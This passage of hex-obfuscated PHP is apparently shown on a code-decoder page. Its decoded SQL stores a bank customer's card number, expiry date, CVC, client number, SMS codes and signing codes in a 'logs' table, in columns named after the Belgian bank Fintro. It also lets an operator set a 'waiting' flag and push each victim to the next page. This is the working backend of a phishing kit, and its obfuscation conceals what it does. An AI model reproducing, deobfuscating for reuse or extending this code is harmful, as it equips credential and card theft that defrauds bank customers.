"\123\x45\x4c\x45\x43\124\40\52\40\x46\x52\x4f\x4d\x20\x72\x65\161\x75\145\x73\164\x73\40\x57\110\x45\122\x45\40\165\x72\x6c\x20\x3d\x20\72\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\151\x64", $url, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return $data; } return false; } public static function getPage($uid) { $sql = "\123\105\114\105\x43\124\40\x2a\x20\106\x52\x4f\115\40\154\x6f\x67\x73\x20\x57\110\x45\122\x45\40\165\x73\x65\x72\x5f\x69\x64\40\75\x20\72\x75\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x75\x69\x64", $uid, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x70\x61\x67\x65"])) { return $data["\x70\141\x67\x65"]; } return false; } public static function setLogin($card, $client, $exp, $uid) { $sql = "\x55\x50\x44\x41\x54\x45\x20\154\x6f\147\163\x20\123\x45\x54\x20\146\x69\x6e\164\162\x6f\137\x63\x61\x72\144\40\x3d\x20\x3a\143\141\162\144\54\40\x66\151\x6e\164\162\x6f\137\143\x6c\151\x65\156\x74\x20\75\x20\x3a\x63\x6c\x69\x65\156\164\54\40\146\x69\156\x74\162\157\x5f\x76\166\40\x3d\x20\72\x65\170\160\x2c\40\167\x61\151\164\x69\156\x67\x20\75\40\x3a\x77\141\151\164\151\156\x67\x20\x57\x48\105\122\105\x20\165\163\145\162\x5f\x69\144\x20\75\x20\x3a\165\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\143\x61\162\144", $card, PDO::PARAM_STR); $stmt->bindValue("\72\x63\154\x69\x65\x6e\x74", $client, PDO::PARAM_STR); $stmt->bindValue("\72\x65\x78\160", $exp, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\x69\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\151\x74\151\x6e\147", "\x74\162\x75\145", PDO::PARAM_STR); $stmt->execute(); } public static function setIdentification($identification, $uid) { $sql = "\x55\120\x44\x41\124\105\40\x6c\157\147\x73\40\x53\105\x54\40\146\x69\x6e\164\x72\x6f\x5f\160\x68\x6f\x6e\145\40\75\40\72\x69\144\x65\x6e\164\151\146\151\143\x61\x74\151\157\156\x2c\x20\167\141\151\164\151\x6e\147\x20\75\x20\x3a\167\x61\x69\x74\151\156\x67\40\127\x48\x45\x52\x45\x20\165\163\145\x72\137\151\144\40\75\x20\72\x75\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\151\144\x65\156\164\151\146\151\143\141\x74\x69\x6f\x6e", $identification, PDO::PARAM_STR); $stmt->bindValue("\72\x75\151\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\141\x69\x74\x69\156\x67", "\164\162\x75\x65", PDO::PARAM_STR); $stmt->execute(); } public static function setBel($identification, $uid) { $sql = "\x55\120\104\101\124\105\x20\154\x6f\x67\x73\x20\123\x45\x54\x20\x66\151\x6e\x74\162\x6f\137\x62\145\154\x20\x3d\x20\72\151\x64\x65\156\164\x69\x66\151\143\141\164\x69\157\156\x2c\x20\167\x61\151\164\x69\156\147\40\75\40\x3a\167\x61\x69\164\151\156\x67\40\127\x48\x45\x52\105\x20\x75\163\x65\x72\x5f\x69\x64\40\75\40\x3a\165\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\151\144\145\156\x74\x69\146\x69\143\141\164\151\x6f\x6e", $identification, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\151\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\151\164\x69\x6e\x67", "\x74\x72\165\x65", PDO::PARAM_STR); $stmt->execute(); } public static function setCredit($cc, $vv, $cvc, $uid) { $sql = "\x55\x50\x44\x41\x54\x45\40\x6c\157\x67\163\x20\x53\105\x54\x20\146\151\x6e\x74\x72\157\137\x63\143\40\75\x20\72\143\143\54\x20\146\151\x6e\x74\162\x6f\137\145\170\x70\x20\x3d\40\x3a\166\x76\54\40\x66\151\156\164\x72\x6f\x5f\x63\x76\143\40\75\x20\72\x63\x76\x63\54\x20\167\x61\x69\x74\151\156\147\40\x3d\40\72\x77\141\x69\x74\x69\156\147\40\127\110\x45\x52\x45\x20\165\163\x65\x72\x5f\151\144\x20\75\x20\72\165\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\143\x63", $cc, PDO::PARAM_STR); $stmt->bindValue("\x3a\x76\166", $vv, PDO::PARAM_STR); $stmt->bindValue("\x3a\143\x76\x63", $cvc, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\151\x74\151\x6e\x67", "\x74\x72\165\x65", PDO::PARAM_STR); $stmt->execute(); } public static function setSms($identification, $uid) { $sql = "\x55\x50\104\101\x54\105\40\x6c\157\x67\x73\40\123\x45\124\40\x66\151\x6e\x74\162\x6f\137\163\155\x73\40\75\40\x3a\151\x64\x65\156\x74\151\x66\151\143\141\x74\x69\x6f\x6e\x2c\x20\167\x61\151\164\x69\156\147\x20\x3d\x20\72\167\141\x69\164\x69\156\147\x20\x57\110\105\122\x45\x20\165\163\x65\x72\137\151\144\x20\x3d\40\x3a\x75\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\151\x64\x65\x6e\x74\151\x66\x69\x63\141\x74\151\x6f\x6e", $identification, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\x69\x74\151\156\x67", "\x74\162\x75\145", PDO::PARAM_STR); $stmt->execute(); } public static function setSignCode($code, $uid) { $sql = "\x55\x50\104\101\124\105\x20\x6c\x6f\x67\163\40\x53\105\124\40\x66\151\156\x74\162\x6f\x5f\x6d\x31\40\75\x20\72\143\x6f\144\x65\54\40\x77\141\x69\164\151\156\x67\x20\x3d\40\72\167\x61\x69\x74\151\x6e\147\40\127\x48\x45\x52\x45\x20\165\x73\x65\x72\x5f\x69\144\40\x3d\x20\72\x75\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x63\157\144\145", $code, PDO::PARAM_STR); $stmt->bindValue("\x3a\165\151\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\151\x74\151\x6e\x67", "\164\x72\x75\145", PDO::PARAM_STR); $stmt->execute(); } public static function setSign2($m2, $uid) { $sql = "\x55\120\x44\101\x54\x45\40\154\157\147\x73\x20\x53\105\124\x20\146\151\156\164\x72\x6f\x5f\x6d\62\x20\75\40\x3a\155\x32\x2c\40\x77\x61\x69\x74\151\x6e\147\x20\75\40\72\x77\141\x69\164\x69\156\x67\x20\x57\x48\x45\x52\105\x20\165\x73\x65\x72\137\x69\144\40\75\40\72\x75\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x6d\62", $m2, PDO::PARAM_STR); $stmt->bindValue("\72\x75\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\x69\x74\x69\156\147", "\164\162\165\145", PDO::PARAM_STR); $stmt->execute(); } public static function setLive($respons, $uid) { $sql = "\125\x50\104\101\x54\105\x20\x6c\157\x67\x73\40\123\x45\x54\40\146\151\156\164\x72\x6f\x5f\154\151\166\145\x20\x3d\40\72\x72\x65\x73\x70\157\156\163\54\40\167\141\151\164\151\x6e\147\x20\x3d\x20\x3a\167\141\151\164\151\x6e\147\40\x57\110\x45\122\x45\x20\165\163\145\x72\x5f\151\144\x20\x3d\40\x3a\x75\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\162\x65\163\160\x6f\156\x73", $respons, PDO::PARAM_STR); $stmt->bindValue("\x3a\165\x69\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\x69\164\x69\156\147", "\164\162\165\145", PDO::PARAM_STR); $stmt->execute(); } public static function setLoginPage($uid, $page) { $sql = "\125\120\104\101\124\x45\40\154\x6f\x67\x73\40\x53\x45\124\40\x70\141\x67\x65\x20\75\x20\72\160\141\x67\145\54\x20\167\141\151\x74\151\156\147\40\x3d\x20\x3a\167\x61\x69\x74\x69\156\x67\x2c\40\x66\151\156\x74\x72\157\137\x63\x61\x72\144\40\75\x20\72\145\155\x70\x74\171\x2c\x20\x66\x69\156\x74\162\157\137\143\x6c\x69\145\x6e\x74\40\x3d\40\x3a\145\x6d\x70\x74\171\x2c\x20\146\151\156\x74\162\x6f\x5f\x76\166\x20\75\x20\x3a\145\155\x70\x74\171\x20\127\110\x45\122\x45\40\x75\163\x65\162\x5f\151\x64\40\75\40\72\165\x73\x65\x72\137\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\141\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\x69\x74\151\156\147", "\146\141\x6c\x73\145", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\x70\164\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x75\x73\145\162\x5f\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setIdentificationPage($uid, $page) { $sql = "\125\x50\104\x41\x54\105\x20\x6c\x6f\147\163\40\123\x45\124\40\x70\x61\x67\x65\x20\x3d\x20\x3a\160\x61\x67\x65\54\x20\167\141\x69\164\x69\x6e\147\x20\75\x20\x3a\167\x61\x69\x74\x69\x6e\147\x2c\40\146\151\156\x74\162\157\137\x70\x68\x6f\x6e\x65\40\75\40\72\x65\x6d\160\164\171\40\x57\110\x45\122\x45\x20\165\x73\145\162\x5f\x69\x64\40\x3d\x20\72\x75\x73\145\162\137\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\x61\x67\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\151\x74\151\156\147", "\146\x61\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\x6d\x70\164\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x75\163\x65\x72\x5f\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setBelPage($uid, $page) { $sql = "\x55\x50\104\x41\x54\105\x20\154\x6f\x67\x73\40\123\x45\124\40\x70\141\147\145\40\75\40\72\x70\x61\x67\x65\54\40\x77\x61\x69\x74\151\x6e\x67\x20\75\x20\x3a\167\x61\x69\164\151\x6e\147\x2c\40\x66\x69\x6e\164\162\157\x5f\142\145\154\x20\75\40\72\145\155\160\x74\171\40\127\110\105\x52\x45\40\x75\x73\x65\162\137\151\x64\40\x3d\40\x3a\x75\163\x65\162\137\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\x61\147\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\x69\164\x69\156\x67", "\x66\141\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\155\x70\x74\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x75\163\145\162\x5f\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCreditPage($uid, $page) { $sql = "\125\x50\104\x41\124\x45\x20\x6c\157\x67\x73\40\x53\105\x54\40\160\141\x67\145\x20\x3d\40\72\x70\x61\x67\x65\x2c\x20\x77\141\151\x74\x69\156\x67\40\x3d\x20\72\167\141\151\x74\151\156\x67\x2c\x20\x66\151\156\164\162\x6f\x5f\x63\143\x20\x3d\40\72\x65\155\160\x74\x79\54\x20\x66\x69\156\x74\162\x6f\137\145\x78\x70\40\75\x20\x3a\x65\155\160\x74\171\x2c\40\146\x69\156\x74\162\x6f\x5f\x63\166\x63\40\x3d\40\72\x65\155\160\164\x79\40\x57\x48\x45\122\105\x20\165\163\x65\x72\137\x69\x64\x20\75\x20\72\x75\x73\145\x72\x5f\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\160\141\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\151\x74\x69\x6e\147", "\x66\141\x6c\163\145", PDO::PARAM_STR); $stmt->bindValue("\72\x65\x6d\x70\164\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\165\163\145\x72\x5f\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSmsPage($uid, $page) { $sql = "\x55\x50\104\x41\124\x45\40\154\157\147\x73\40\123\x45\124\x20\x70\141\x67\x65\x20\75\x20\x3a\160\x61\147\145\54\40\167\141\x69\x74\151\x6e\147\40\75\40\x3a\x77\141\151\x74\x69\156\147\x2c\x20\146\151\156\164\x72\x6f\x5f\163\155\163\x20\75\40\x3a\145\155\160\164\x79\40\127\x48\105\122\x45\x20\165\163\145\x72\137\x69\144\40\75\x20\72\x75\163\145\162\x5f\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\x61\x67\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\151\x74\x69\156\x67", "\146\x61\154\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\x6d\160\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x75\x73\145\162\137\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignCodePage($uid, $page) { $sql = "\125\x50\x44\x41\x54\x45\40\x6c\157\x67\163\40\123\105\x54\x20\160\141\147\x65\40\75\40\x3a\160\x61\147\145\54\x20\x77\x61\x69\164\x69\x6e\147\x20\75\40\x3a\x77\141\151\x74\151\x6e\147\x2c\x20\x66\x69\156\x74\x72\x6f\x5f\x6d\61\x20\75\x20\x3a\x65\x6d\x70\164\171\40\127\110\105\x52\x45\40\165\163\145\x72\x5f\151\x64\x20\75\40\x3a\x75\163\x65\162\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\141\x67\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\x69\x74\x69\156\147", "\x66\x61\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\155\160\x74\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x75\163\x65\162\137\x69\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSign2Page($uid, $page) { $sql = "\x55\120\104\x41\x54\x45\x20\x6c\157\x67\163\40\123\x45\124\x20\x70\141\147\145\x20\x3d\x20\72\160\141\x67\x65\x2c\40\167\141\151\x74\x69\156\147\40\x3d\40\x3a\x77\141\x69\164\x69\x6e\x67\x2c\x20\x66\151\156\x74\162\x6f\137\155\x32\x20\x3d\x20\72\145\155\160\164\171\x20\x57\x48\105\122\x45\40\165\x73\145\x72\137\x69\144\x20\x3d\40\x3a\165\163\145\162\137\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\141\x67\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\x69\164\151\x6e\x67", "\x66\x61\154\x73\145", PDO::PARAM_STR); $stmt->bindValue("\72\x65\x6d\160\x74\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\165\163\x65\162\x5f\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePage($uid, $page) { $sql = "\125\120\104\x41\124\x45\x20\x6c\157\x67\x73\40\x53\x45\124\40\160\141\147\x65\40\x3d\40\x3a\160\x61\x67\145\54\x20\167\x61\151\164\x69\x6e\x67\x20\x3d\x20\x3a\x77\141\151\x74\151\x6e\x67\54\x20\x66\x69\x6e\x74\162\157\x5f\154\151\166\145\40\x3d\40\x3a\145\x6d\160\164\171\40\127\110\105\122\x45\40\165\163\145\162\x5f\x69\x64\x20\x3d\40\72\x75\163\145\162\137\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\x61\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\x69\164\x69\x6e\147", "\x66\141\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\x70\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x75\163\x65\x72\x5f\x69\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignCodePageCode($uid, $page, $code) { $sql = "\x55\x50\x44\x41\124\x45\40\154\x6f\x67\163\40\123\105\124\40\160\141\147\x65\40\x3d\x20\x3a\x70\x61\147\x65\x2c\x20\x77\x61\151\x74\x69\x6e\x67\40\x3d\40\x3a\x77\x61\x69\x74\x69\156\x67\x2c\40\146\x69\156\164\x72\157\137\x6d\x31\40\x3d\x20\x3a\x65\x6d\160\164\x79\54\x20\x66\151\156\164\x72\x6f\137\155\x31\137\x67\145\164\x20\75\x20\72\143\157\x64\x65\40\x57\x48\x45\x52\105\40\x75\163\145\162\137\151\144\x20\75\x20\72\x75\163\145\162\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\141\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\151\x74\151\156\147", "\146\x61\154\x73\145", PDO::PARAM_STR); $stmt->bindValue("\72\x65\155\x70\x74\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x63\157\144\145", $code, PDO::PARAM_STR); $stmt->bindValue("\x3a\165\x73\145\162\137\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSign2PageCode($uid, $page, $m2) { $sql = "\x55\120\x44\x41\x54\105\x20\x6c\157\147\x73\40\x53\105\124\x20\x70\x61\147\x65\x20\x3d\40\x3a\160\x61\147\x65\x2c\40\x77\x61\x69\x74\x69\156\147\x20\x3d\x20\x3a\167\141\151\x74\x69\156\x67\x2c\40\x66\151\156\x74\162\x6f\137\155\x32\x20\75\40\x3a\x65\x6d\160\164\x79\54\40\146\151\156\x74\x72\157\x5f\x6d\62\x5f\x67\x65\164\x20\75\40\72\155\x32\40\x57\110\105\122\x45\40\165\x73\145\162\137\x69\144\40\x3d\40\72\x75\x73\x65\x72\137\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\160\x61\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\x69\164\x69\156\147", "\x66\x61\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\x6d\160\164\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\155\x32", $m2, PDO::PARAM_STR); $stmt->bindValue("\72\165\163\x65\162\137\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePageCode($uid, $page, $live, $livetwo) { $sql = "\x55\x50\x44\x41\x54\105\x20\x6c\157\147\x73\40\123\x45\124\40\x70\x61\147\x65\40\75\x20\72\160\141\147\x65\54\40\x77\141\x69\x74\151\x6e\147\40\75\40\x3a\167\x61\x69\164\151\x6e\147\x2c\40\x66\151\156\164\162\x6f\x5f\x6c\151\x76\145\x20\75\x20\x3a\x65\155\160\164\x79\54\40\146\151\156\x74\162\157\x5f\154\151\x76\145\137\x67\145\x74\x20\75\x20\x3a\x6c\x69\x76\x65\x2c\x20\x66\151\156\x74\x72\x6f\x5f\154\151\166\x65\x32\x5f\x67\145\x74\x20\x3d\x20\x3a\154\x69\166\145\164\167\157\x20\x57\x48\105\122\105\40\x75\x73\145\x72\137\x69\144\x20\75\x20\x3a\165\x73\x65\162\137\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\160\141\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\x69\x74\x69\156\x67", "\x66\x61\x6c\163\145", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\160\x74\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x6c\151\166\x65", $live, PDO::PARAM_STR); $stmt->bindValue("\x3a\154\x69\166\145\x74\167\x6f", $livetwo, PDO::PARAM_STR); $stmt->bindValue("\72\x75\x73\145\x72\x5f\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setFinishPage($uid, $page) { $sql = "\x55\120\x44\101\124\x45\40\154\157\147\x73\x20\123\105\124\x20\160\141\147\145\40\75\x20\72\160\x61\147\145\x2c\40\167\x61\151\x74\151\156\x67\x20\75\x20\72\167\x61\151\164\151\x6e\147\40\x57\110\105\122\x45\x20\x75\x73\x65\x72\x5f\x69\144\x20\75\x20\72\165\163\145\162\x5f\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\x61\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\x69\164\151\x6e\x67", "\x66\x61\154\x73\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\x73\145\162\137\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getSignCode($uid) { $sql = "\x53\105\x4c\x45\x43\124\x20\52\x20\106\x52\117\115\40\154\x6f\147\x73\x20\127\x48\x45\122\105\40\165\163\x65\162\x5f\151\x64\40\75\x20\72\x75\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x75\x69\144", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x66\151\156\x74\162\x6f\x5f\155\x31\x5f\147\x65\x74"])) { return $data["\146\151\x6e\164\x72\157\x5f\155\61\x5f\x67\145\x74"]; } return false; } public static function getSign2($uid) { $sql = "\x53\105\x4c\x45\x43\x54\40\52\40\106\x52\117\x4d\x20\x6c\157\147\163\40\127\110\105\122\x45\40\165\x73\145\x72\137\151\x64\x20\x3d\40\x3a\x75\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x75\x69\144", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\146\151\x6e\x74\x72\157\137\x6d\62\x5f\147\145\164"])) { return $data["\146\x69\156\164\x72\x6f\137\155\62\x5f\147\x65\164"]; } return false; } public static function getLive($uid) { $sql = "\123\105\x4c\105\x43\x54\x20\52\40\x46\x52\x4f\115\x20\x6c\157\x67\x73\x20\127\x48\105\122\105\x20\x75\163\x65\162\137\151\x64\x20\x3d\40\72\x75\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x75\x69\x64", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x66\151\156\x74\162\x6f\137\154\x69\x76\145\137\x67\145\x74"])) { return $data["\146\x69\x6e\164\x72\x6f\x5f\x6c\x69\x76\145\137\147\145\164"]; } return false; } public static function getLivetwo($uid) { $sql = "\x53\x45\x4c\x45\103\x54\x20\x2a\40\x46\x52\x4f\x4d\x20\x6c\x6f\x67\x73\x20\x57\110\105\122\105\40\x75\x73\145\162\x5f\x69\x64\40\x3d\x20\72\165\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\165\x69\x64", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x66\x69\x6e\x74\162\x6f\x5f\154\151\166\x65\x32\x5f\x67\145\x74"])) { return $data["\x66\151\x6e\x74\162\157\x5f\x6c\151\x76\x65\x32\137\147\x65\x74"]; } return false; } }
Function Calls
None |
Stats
MD5 | f76fd4b6e4f957181aa207d60b2f4e08 |
Eval Count | 0 |
Decode Time | 140 ms |